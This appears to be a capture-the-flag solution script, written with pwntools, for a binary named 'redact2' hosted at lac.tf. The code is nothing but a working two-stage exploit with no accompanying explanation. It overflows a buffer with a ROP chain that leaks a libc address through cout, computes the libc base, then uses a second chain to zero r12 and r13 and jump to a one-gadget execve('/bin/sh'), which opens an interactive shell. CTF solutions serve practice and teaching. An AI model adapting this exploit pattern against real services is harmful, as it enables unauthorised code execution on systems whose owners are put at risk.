Rating:
```python
from pwn import *
context.arch = 'amd64'
context.log_level = 'DEBUG'
p = process('./redact2')
p = remote('lac.tf', 31281)
e = ELF('./redact2')
libc = ELF('./libc.so.6')
# === first main ===
rop1 = ROP(e, badchars=b"\n")
rop1.call("_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc", [e.symbols["_ZSt4cout"], e.got['__libc_start_main']])
rop1.raw(rop1.find_gadget(["ret"]))
rop1.main()
info(rop1.dump())
p.sendlineafter("text: ", b"")
p.sendlineafter("placeholder: ", rop1.generatePadding(0, 72) + rop1.chain())
p.sendlineafter("redact: ", b"0")
p.recv(1)
leak = u64(p.recv(6).ljust(8, b'\x00'))
info(hex(leak))
libc.address = leak - libc.symbols['__libc_start_main']
info(hex(libc.address))
# === second main ===
# 0xc961a execve("/bin/sh", r12, r13)
# constraints:
# [r12] == NULL || r12 == NULL
# [r13] == NULL || r13 == NULL
rop2 = ROP(e, badchars=b"\n")
rop2(r12=0, r13=0)
rop2.raw(libc.address + 0xc961a) # one gadget
info(rop2.dump())
p.sendlineafter("placeholder: ", rop2.generatePadding(0, 72) + rop2.chain())
p.sendlineafter("redact: ", b"0")
p.interactive()
```
